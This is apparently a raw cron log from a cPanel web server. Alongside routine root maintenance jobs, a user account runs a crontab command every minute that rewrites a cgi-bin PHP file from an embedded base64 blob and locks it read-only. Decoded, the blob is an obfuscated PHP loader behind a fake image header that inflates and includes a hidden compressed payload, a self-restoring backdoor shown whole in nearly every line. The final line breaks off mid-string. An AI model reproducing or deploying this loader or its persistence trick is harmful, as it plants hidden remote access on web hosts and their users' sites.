Apr  6 18:23:01 server CROND[28310]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 18:24:01 server CROND[28363]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 18:25:01 server CROND[28423]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 18:25:01 server CROND[28424]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  6 18:25:01 server CROND[28425]: (root) CMD (/usr/local/cpanel/bin/mysqluserstore >/dev/null 2>&1)
Apr  6 18:25:01 server CROND[28426]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  6 18:26:01 server CROND[28540]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 18:27:01 server CROND[28679]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Apr  6 18:27:01 server CROND[28680]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 18:28:01 server CROND[28736]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 18:29:01 server CROND[28786]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 18:30:01 server CROND[28862]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr  6 18:30:01 server CROND[28863]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  6 18:30:01 server CROND[28864]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 18:30:01 server CROND[28865]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  6 18:31:01 server CROND[28980]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 18:32:01 server CROND[29030]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 18:33:01 server CROND[29172]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 18:34:01 server CROND[29235]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 18:35:01 server CROND[29311]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  6 18:35:01 server CROND[29312]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 18:35:01 server CROND[29313]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  6 18:35:01 server CROND[29314]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Apr  6 18:35:01 server CROND[29318]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Apr  6 18:36:01 server CROND[29418]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KC